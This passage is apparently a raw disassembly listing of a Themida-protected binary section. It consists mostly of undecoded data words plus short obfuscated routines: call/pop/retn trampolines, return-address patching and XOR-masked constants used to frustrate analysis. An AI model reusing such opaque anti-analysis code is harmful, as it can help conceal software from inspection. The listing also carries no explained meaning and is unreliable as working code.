dd 18A9858Bh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0E1DECFC3h, 8D891397h, 612296Dh
dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 5045C357h, 3F0868FEh, 185C792h
dd 61203h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 0EB7DC356h, 13E9h, 326300h, 0BCB5DC44h
dd 5528D221h, 0B7AEE87Bh, 0DEFE4EAAh, 0FFF3A7E9h, 1B589FFh
dd 8B061230h, 0C19D09C1h, 8D061231h, 12006585h, 0B70F5706h
dd 9D8B5FD8h, 6121645h, 0DD57BB50h, 4893036h, 6A006A24h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0D72CC350h, 7E7D34DDh, 8D006A3Dh, 16873285h
dd 69850106h, 8306122Eh, 9CBB05C0h, 9047D25Ch, 0F18B5260h
dd 61C8B55Eh, 0E8525050h, 0Eh, 0BD1F2D54h, 19AA6880h, 11969305h
dd 8B66476Eh, 310F5FD8h, 0AE8h, 0B94CF000h, 61257305h
dd 5BE02042h, 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 67CCC353h, 91507EE6h
dd 80980CF2h, 6AC0DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0FCC35747h, 6FE2FC07h, 6A006Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 8F4FD1C3h, 95FFC2B2h, 6120B55h, 56C517BFh, 0CA8D8D4Dh
dd 6A06159Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 4D5AC353h, 23720762h, 8B5CA369h
dd 0BD3160DEh, 6122405h, 0E890Fh, 9E90000h, 1D000000h
dd 1F2D54B9h, 0AA6880BDh, 8BD1FF61h, 1216719Dh, 0E9BD8306h
dd 106120Eh, 0EA850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 8BE7CFC3h, 1214159Dh
dd 89606006h, 1221F9B5h, 7E86106h, 0C7000000h, 10129E9h
dd 13E9FAA9h, 59000000h, 3945E71Ah, 0B8AB2033h, 97C9E88Ch
dd 0E455832Bh, 61598C11h, 0E960026Ah, 10h, 3C7276F7h, 94657D65h
dd 0F922BCE0h, 0CCBD3324h, 2831B52Bh, 50610612h, 6896BF66h
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 0E06BC351h, 0BD8BF32Dh, 612285Dh
dd 799BD31h, 95FF0612h, 6122CD5h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 6C35545h, 7DB58B60h, 6006121Dh
dd 12E8h, 72154800h, 0EF43FD19h, 0E0838803h, 80C74355h
dd 5F4DFB12h, 61615F57h, 0DA0E9h, 0E800h, 815D0000h, 16873CEDh
dd 6820F06h, 89000000h, 121BC9B5h, 99D8B06h, 6606122Eh
dd 858DF88Bh, 615968Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 97C35242h, 1F98B66h, 1229C595h, 8B665006h
dd 240489FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 44C35545h, 0CF81D272h, 30FF22F2h, 35FF64h, 66000000h
dd 0BD8BDE8Bh, 61220F5h, 258964h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 8003C352h, 85FFF4CBh, 6121235h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 0A4C35141h, 0DE3D2F03h, 844BEB81h
dd 0BF663F1Ah, 0FF6A8189h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0D8C35747h, 0E03A0CD4h, 0FB8B66E2h, 19B5FFF9h
dd 8B06122Bh, 7595FFDFh, 0E9061214h, 158h, 0AE960h, 98220000h
dd 853DEB1h, 787D3620h, 6000B061h, 13E9h, 66C5D800h, 0ECC0D07Eh
dd 0AD69056Fh, 0E27443D4h, 0DD86677h, 8B70E661h, 122EE5BDh
dd 8971E406h, 121CB5BDh, 0FABB6606h, 0F613C2Ah, 10F83h
dd 71B58900h, 0F061208h, 0BAF8C8B6h, 6, 0C18BFA8Bh, 1F840Fh
dd 0E9600000h, 12h, 349003B7h, 0C49262C6h, 43BC0F90h, 1F18ADCh
dd 0D6813739h, 3AD5FA8Ah, 4E8C161h, 8BE2F766h, 0CE8FBh
dd 0A96D0000h, 0C04D93Eh, 90DAEA4Ah, 9D03EEC5h, 6120F55h
dd 8BC82B5Bh, 1200B5BDh, 0BD18B06h, 12150D9Dh, 23E906h
dd 29600000h
dd 120739BDh, 458D8B06h, 61061207h, 10E9h, 51E49500h, 4727A295h
dd 0EB5FC3C6h, 10067846h, 5858B6Eh, 906122Ah, 122A2985h
dd 7C08306h, 12E9h, 8F22C200h, 0C3675FEFh, 0C5E68C8Eh
dd 995F41E4h, 83D5A992h, 0D98B00C0h, 830FD03Bh, 1Ch, 45E9FA8Bh
dd 0E8000000h, 9, 460AE877h, 0D5C0AFB9h, 6DBD0374h, 5B06120Ch
dd 2D698D8Bh, 0B5290612h, 612221Dh, 0F01E183h, 1B84h, 0A583F800h
dd 6122D69h, 35B589FEh, 8906122Ch, 122A0595h, 0E9DF8B06h
dd 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6160BAEh]
push 0
push ebx
call sub_5C4491
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4491 proc near ; CODE XREF: Themida_:005C4489p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5C4491 endp
; ---------------------------------------------------------------------------
db 0C9h, 0E3h, 95h
dd 0D659F2ECh, 6A5F57h, 0BD9D0357h, 5B061223h, 9BBB6656h
dd 95FF5FFDh, 61229D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0BCC35646h, 3BE48766h, 0F037CB91h, 881B9h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 0ACD8CF46h, 2DC381BCh, 2947E3CEh, 1229F19Dh
dd 0FCE18306h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0B0C35646h, 0AE658F98h, 0BB66C6EAh, 8D89120Ah
dd 6120741h, 28ED8501h, 6AFC0612h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 1FC3C350h
dd 6D1F5F3h, 66287F6Fh, 0E974D8BFh, 6, 27F86B07h, 0BF66863Dh
dd 0C02B6595h, 23D19D8Bh, 0BA0612h, 0F000000h, 68Ch, 99BD0B00h
dd 0F8061207h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0ABC35343h, 8B923D1Bh
dd 12E9D8h, 0C30F0000h, 33DF3DB6h, 0DED0BC8Eh, 81EFD13Ch
dd 2FFFF5D9h, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0BB9ADCB3h, 958B98ECh
dd 6122DCDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 31C35747h, 0D03B45D9h, 8D8BD3B3h, 61231BDh, 5F64B753h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0BD8BF7C3h, 612254Dh, 19BD83F5h, 61214h, 74840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 81F04BC3h, 2C9D64D7h, 0B822h, 66510000h, 5BAD1FBBh
dd 4E4B8D8Dh, 0BD8B0612h, 61208F1h, 6AE1FFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E91004C3h
dd 10h, 6A9178C7h, 0B66C6360h, 0A764D570h, 4828CF16h, 17A1BD8Bh
dd 0BD830612h, 6120011h, 0D2840F00h, 66000003h, 83E31BBBh
dd 120011BDh, 840F0106h, 3DCh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 7CC35141h, 51D0956Fh, 11BD8369h
dd 3061200h, 378860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 222E5AC3h, 1BF6603h
dd 0BD89600Dh, 612146Dh, 7319D8Bh, 8C660612h, 57006AD9h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 2B610CB1h, 0B50B265h, 1229CDBDh, 4E18006h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D9C35545h, 40FF405Bh
dd 4E5C1933h, 819529D8h, 0A061223h, 0F1840FC9h, 8B000000h
dd 122DA1BDh, 0CD858B06h, 6A061224h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 847FC357h
dd 85332194h, 612248Dh, 0D50949BFh, 6650901Dh, 900D37BFh
dd 6A5F53h, 7519D23h, 11680612h, 60C596E8h, 7E9h, 2E52800h
dd 0E534415h, 9E9h, 8102D900h, 897B9476h, 81611838h, 1BEE2404h
dd 6A3A88h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 652179C3h, 10653100h, 303195FFh, 14E90612h
dd 0B6000000h, 92D9C421h, 0DD32CEE9h, 470FA121h, 23803EBEh
dd 891C89B7h, 15BD0C85h, 60F88A06h, 19CD8D8Bh, 0E7800612h
dd 66E96104h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 4F4AC355h, 7F4ACBEEh
dd 8D01DB5Dh, 6121605h, 0BD04858Bh, 6A0615h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0C7C0C3h
dd 18h, 0B58BC2B7h, 615BD08h, 2D9D0360h, 0F806121Ah, 99858B61h
dd 0FC061223h, 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 733F2FC3h, 1D9D2947h, 8B06120Bh
dd 1224CD85h, 0E7816606h, 46893F82h, 0FEBF0F04h, 50D88B96h
dd 0BEBB6696h, 53C3816Ah, 0FF5E7970h, 15BD04B5h, 522CBB06h
dd 0D5684092h, 0BB72DA8Ah, 9CA2905h, 2A243481h, 6672C589h
dd 0F348E381h, 10C58D29h, 858D0612h, 615BD0Ch, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 25C35646h, 0CB813C74h
dd 39E2A45Dh, 0F59D3356h, 5F06122Bh, 260D9D8Bh, 50900612h
dd 165EBF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 95FF0977h, 6123031h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8C35242h, 0FDB109B4h
dd 0B59D29EBh, 8B06122Fh, 1208CD9Dh, 6A6106h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CB3244C3h
dd 5E9h, 58952700h, 85C75AE3h, 6120011h, 3, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2AC35242h, 1ED78166h
dd 0CBD83F8h, 615BDh, 58840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 66F1A9C3h
dd 0F40401E2h, 10D99D8Bh, 0F7810612h, 267499C3h, 40E9h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0CCFC5978h, 0BF663B37h, 30502608h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 559D8BC0h
dd 6606121Fh, 6414D781h, 11BD83h, 0F030612h, 44285h, 81665600h
dd 5FF98DEFh, 6E8h, 13DEF100h, 8BD88493h, 0BD835BDAh, 615BD0Ch
dd 20840F00h, 60000004h, 8D8BCA8Bh, 6122E45h, 0CB5FF61h
dd 660615BDh, 6F18EF81h, 202995FFh, 6A0612h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 5766CCC3h
dd 8BA71A99h, 1221699Dh, 14E806h, 7B5D0000h, 0F970D10h
dd 70DE3CDDh, 371E904Dh, 0C15D7D4Dh, 0BF662DA7h, 8B5B098Fh
dd 15BD00B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 3624B688h, 80BD5309h, 6C77DEBh, 10001h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 53C35646h
dd 9691ECE2h, 45852B60h, 906122Fh, 121455BDh, 0B70F6106h
dd 8C0F96DFh, 15h, 0DE856h, 72400000h, 0C9753296h, 5F1B3DDAh
dd 5BE9B5F3h, 0AE8505Bh, 31000000h, 0F2472310h, 5FDE0512h
dd 0BE66605Ch, 8E0FCC4Dh, 0
; ---------------------------------------------------------------------------
popa
pop ebx
xchg eax, esi
push 0
push edi
call sub_5C4C46
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4C46 proc near ; CODE XREF: Themida_:005C4C3Ep
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5C4C46 endp
; ---------------------------------------------------------------------------
dw 12EFh
; ---------------------------------------------------------------------------
pusha
jnp short loc_5C4C90
push dword ptr [ebp+615BD0Ch]
push 0
push ebp
call sub_5C4C6C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4C6C proc near ; CODE XREF: Themida_:005C4C64p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5C4C6C endp
; ---------------------------------------------------------------------------
dd 95FFAB63h, 6121AE1h, 0E850006Ah, 3, 58C35820h
; ---------------------------------------------------------------------------
loc_5C4C90: ; CODE XREF: Themida_:005C4C59j
mov [esp+4], eax
add dword ptr [esp+4], 1Dh
inc eax
push eax
retn
; ---------------------------------------------------------------------------
db 67h
dd 79A75DF3h, 0B07F4706h, 859D8B4Fh, 8B061212h, 15BD00B5h
dd 9535106h, 121B8DBDh, 8B5F5B06h, 12303985h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 31D8BA5Eh, 6B33BB2Dh, 86895555h, 0C4h, 1A219D8Bh, 958B0612h
dd 6122DCDh, 0C283F98Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 89254FC7h, 122A998Dh
dd 20508906h, 0BD8BC5B7h, 6122F45h, 0D0EA858Dh, 6A0615h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 602E08C3h, 0BA3A0E87h, 0B886897Ch, 29000000h, 122315B5h
dd 3BDBBF06h, 6A0852h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 0CCC35242h, 0D3C75CA0h, 1D8D8970h, 2B06122Ch
dd 1207299Dh, 0CB5FF06h, 0F0615BDh, 95FFFBB7h, 6122CD5h
dd 0E9575396h, 11h, 0D8456483h, 0F8133D22h, 18C5823Fh
dd 35E14C58h, 505F5F5Dh, 8E8h, 0DC2A4200h, 3119FEE3h, 0AE9BCh
dd 0B03B0000h, 2F2D74Bh, 5FEAB1ECh, 0BD8B965Bh, 6122319h
dd 0BD0CB5FFh, 81660615h, 0FF69FBEBh, 122E2995h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0E940EA58h, 0Ch, 7DA71181h, 0A9DBB13Fh, 9635604Ch, 1189BD83h
dd 0F000612h, 7084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 8EF0C7F3h, 0C9DE27C3h
dd 0A5958960h, 0E806122Fh, 6, 0FAB024E8h, 8D295D12h, 6121785h
dd 8950615Fh, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 276FFEC3h, 0C5C541CAh, 7E901h, 32960000h
dd 3DDAC975h, 0CB5FF1Bh, 8B0615BDh, 120B1DBDh, 0A595FF06h
dd 8B06122Ah, 121E459Dh, 0CB5FF06h, 660615BDh, 603CD8BBh
dd 0FE9FCh, 700C0000h, 0F16911EBh, 0E2DC9B26h, 3446AF8Fh
dd 95FF616Ch, 6121BB1h, 26E98D29h, 0BD830612h, 6122A41h
dd 58840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 9DABC352h, 18A9858Bh
dd 81660612h, 0E87AFDCFh, 7, 6B632D90h, 5B219E94h, 6A0000C6h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 18C6C351h, 0C7437DA3h, 12030185h, 6, 0E1958900h
dd 0E906122Ch, 0FFFFF38Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 71C35343h, 9D8B059Dh, 6120899h, 6AC18Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0F3327CC3h, 47ED32BEh, 0B70FD22Ch, 65858DD8h, 6A061200h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 7680C356h, 4C14EB85h, 0BB66B29Dh, 529060FEh
dd 9E8h, 8B5A3400h, 2E674419h, 6160E0A5h, 51505F5Bh, 905F5F56h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0A0C35747h
dd 6A54D4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 7DC35747h, 0BF66E6E2h, 1510321h, 121DED85h, 6A5B06h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 64C35242h
dd 84D87714h, 5E8600Fh, 11000000h, 0A8132D00h, 3075BD8Bh
dd 8D5B0612h, 1696DF85h, 68F0F06h, 8B000000h, 1225C5BDh
dd 5C08306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 5AC35747h, 393F35FBh, 0E990A915h, 0Ah, 0BE7B9358h
dd 0A403EB8Ah, 66506B5Ch, 902F7DBBh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 90C35242h, 29771B95h, 8BD9BFB7h
dd 0F38166FCh, 6AA0FBh, 10E9BD2Bh, 9D090612h, 6122A3Dh
dd 0E380006Ah, 5595FF2Ch, 6A06120Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A813C352h
dd 5402CA3Eh, 9BCA8D8Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 8BCD42C3h, 75AB5BFAh
dd 0FFFA8B66h, 0DDBD8BD1h, 83061226h, 120EE9BDh, 850F0106h
dd 51h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h
dd 79C35545h, 88EA5051h, 6870Fh, 9D8B0000h, 6120F09h, 0BF66026Ah
dd 57508002h, 2404895Fh, 89BD8960h, 6106120Bh, 2CD595FFh
dd 6E90612h, 18000000h, 21B6CF84h, 0DF7E9C4h, 0E80000h
dd 5D000000h, 96E9ED81h, 6A0616h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 0F4E522C3h, 10E9818Fh
dd 7B000000h, 1045ECF6h, 0B663897h, 0BFA92C14h, 60EABE5Bh
dd 1C8DB533h, 8C0F0612h, 2, 0F616160h, 890FDFB7h, 1, 8F858DF5h
dd 6A061596h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 697C356h, 0F88B5045h, 6A240489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 2CCEC352h, 92EBDB8Bh, 120D6DD3h, 17258D09h
dd 0FF640612h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 394770F8h, 0D59D8B4Dh
dd 64061207h, 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 3CFF7C3h, 0F419589h
dd 8E90612h, 0AE000000h, 0FD1B6BE8h, 0FF96415Dh, 12123585h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 5335B7EFh, 32F05B29h, 0FE8h, 0BF590D00h
dd 26CDBF0Bh, 146E4CEFh, 20829081h, 1385BD8Bh, 6A5F0612h
dd 15BD8BFFh, 0FF06120Fh, 1229B1B5h, 0C7816606h, 95FF7355h
dd 6121475h, 110E9h, 56C8BB00h, 0B05466h, 0E6DABF0Fh, 21B58970h
dd 0E4061220h, 5DBD8971h, 3C06121Bh, 0EE830F61h, 80000000h
dd 0B60FDADFh, 5E9C8h, 5E9D0000h, 0BA10B9D1h, 6, 0E8DA8B66h
dd 9, 0F4F0CDB9h, 0F3A73728h, 0A3BB661Dh, 0C18B5F13h, 0E8C1DA8Ah
dd 0BDBD8B04h, 66061219h, 5E9E2F7h, 54000000h, 3F315ADAh
dd 9D89C82Bh, 6121605h, 6E9D18Bh, 8B000000h, 1232A9BDh
dd 29858B06h, 89061228h, 12159D85h, 7C08306h, 781BD8Bh
dd 0BB660612h, 0C083A866h, 899D3100h, 60061200h, 8B616060h
dd 1207C99Dh, 0BD8B6106h, 6120F4Dh, 0FD03B61h, 1883h, 6E900h
dd 32140000h, 215EADFBh, 48E9h, 0BD8D3100h, 8B061208h
dd 198D8BF9h, 0F06121Eh, 688h, 799D0B00h, 83061221h, 840F01E1h
dd 25h, 19A583F8h, 0FE06121Eh, 6810Fh, 9D8B0000h, 6122DBDh
dd 28299589h, 0BD0B0612h, 612286Dh, 0E9h, 0EEB58D00h, 9061615h
dd 1208E985h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0DA97C356h, 80E62CBBh
dd 95FFCFD7h, 61229D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 61C35646h, 7A1B9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0E183FC3Dh, 0FFB8BFCh, 38Dh, 0DBB70F00h, 55006AFCh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 925069DEh, 3FEA119Ah, 0C02BD484h, 43F48ABFh, 0BA37h
dd 0BF660000h, 33AD099Fh, 3E8D1C2h, 4E983D0h, 6AF475h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0DD381C3h, 88h, 2019BD89h, 958B0612h, 6122DCDh, 31BD8D8Bh
dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 6C9931C3h, 2DB59D8Bh, 8D0F0612h, 6, 29F18589h
dd 8B500612h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 5FEFE1BFh, 57006A47h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 8B666A5Ah, 19BD83DFh, 61214h, 61840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 58F021C3h, 7345EF81h, 0B858FCh, 66000000h
dd 8B7232BBh, 1222EDBDh, 4B8D8D06h, 0F06124Eh, 0E1FFFAB7h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DFC35747h
dd 669025C0h, 83DFBF0Fh, 120011BDh, 840F0006h, 449h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F1C35646h, 5E960h
dd 0EBE70000h, 6675612Eh, 0F61FE8Bh, 1684h, 11E900h, 0BA870000h
dd 415C5A07h, 75028567h, 5D98BE19h, 83F0D00Eh, 120011BDh
dd 840F0106h, 410h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0FCC35747h, 89BC8C8Ch, 1231F58Dh, 0FAB70F06h
dd 11BD83h, 0F030612h, 3A586h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F9DDDA69h
dd 0F59D8960h, 6606122Bh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 29CF39C3h, 1200059Dh
dd 4E18006h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 0FBC35141h, 72DC8BEFh, 0E82A963Ah, 23BD9D89h, 0C90A0612h
dd 107840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 6E1006C3h, 0B568A150h, 0B9BBB66h
dd 858BFA8Ah, 61224CDh, 30E99D8Bh, 0BB660612h, 8533C99Bh
dd 612248Dh, 50FBBF0Fh, 10E8h, 0FFD1AC00h, 21D3A6EBh, 660983BFh
dd 725F940Ah, 0FA8B666Bh, 2404895Fh, 25FD9529h, 8B660612h
dd 6A006AF8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 3316C355h, 8A0FE597h, 0
; ---------------------------------------------------------------------------
push 7EC1B88Dh
push edi
jl $+6
pop ebx
xor dword ptr [esp], 7EDEBB72h
push 0
push esi
call sub_5C57D7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C57D7 proc near ; CODE XREF: Themida_:005C57CFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5C57D7 endp
; ---------------------------------------------------------------------------
rcr byte ptr [ebx+59h], 8Dh
imul dword ptr [eax+1FA71312h]
call dword ptr [ebp+6123031h]
jno $+6
mov ebx, 1FC81ED2h
mov [ebp+615BD0Ch], eax
push 0
push ebp
call sub_5C5813
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5813 proc near ; CODE XREF: Themida_:005C580Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C5813 endp
; ---------------------------------------------------------------------------
db 44h
dd 10007E16h, 0B2E9EF98h, 8A000001h, 4858BD9h, 0E90615BDh
dd 5, 0D94AD576h, 1800C728h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1159C356h
dd 51F18160h, 801BCE6Fh, 8B6157E6h, 122C7D9Dh, 8B58B06h
dd 6A0615BDh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 96D2C355h, 12E9h, 0DBFF8100h
dd 4B6F92AFh, 0E210CA74h, 0AF41D4BBh, 319FDD58h, 1226799Dh
dd 99858B06h, 6A061223h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 67C7C351h, 26C680FBh
dd 81E40092h, 5931C3DBh, 5FF55622h, 0DE90689h, 0F6000000h
dd 6F2FC5B3h, 1BD3808Eh, 836CBE85h, 24CD858Bh, 0B70F0612h
dd 89DF8BDEh, 9D8B0446h, 6121D61h, 8428BF50h, 348946A9h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 8166F08Eh, 0FF4185DFh, 15BD04B5h, 686DB306h
dd 50764D15h, 5325BB50h, 815B2AEDh, 4EEA2434h, 6A5069h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 95255FC3h, 0F9076FDEh, 899B40D7h, 1202D995h, 0C858D06h
dd 0E80615BDh, 13h, 78F4402Ah, 4322EE34h, 0F4A722AAh, 0CCD418C1h
dd 894852EFh, 12329DB5h, 0BD895B06h, 6120EBDh, 0DE850h
dd 0D8640000h, 52AB022Bh, 17F20A8Ch, 5FA7F4DDh, 0E9240489h
dd 10h, 0C7F511DFh, 6D94D052h, 58686EB8h, 0A2977ABCh, 303195FFh
dd 0B70F0612h, 0B50961DAh, 61228A5h, 1185C7h, 30612h, 0B5890000h
dd 6121375h, 0BD0CBD83h, 0F000615h, 4984h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0DA1DA7F1h, 6E829h, 98740000h, 0D761843h, 1AD5BD01h
dd 0E95F0612h, 2Dh, 0DE9h, 824C000h, 0AF8D815Bh, 7F720B54h
dd 3050C5F5h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
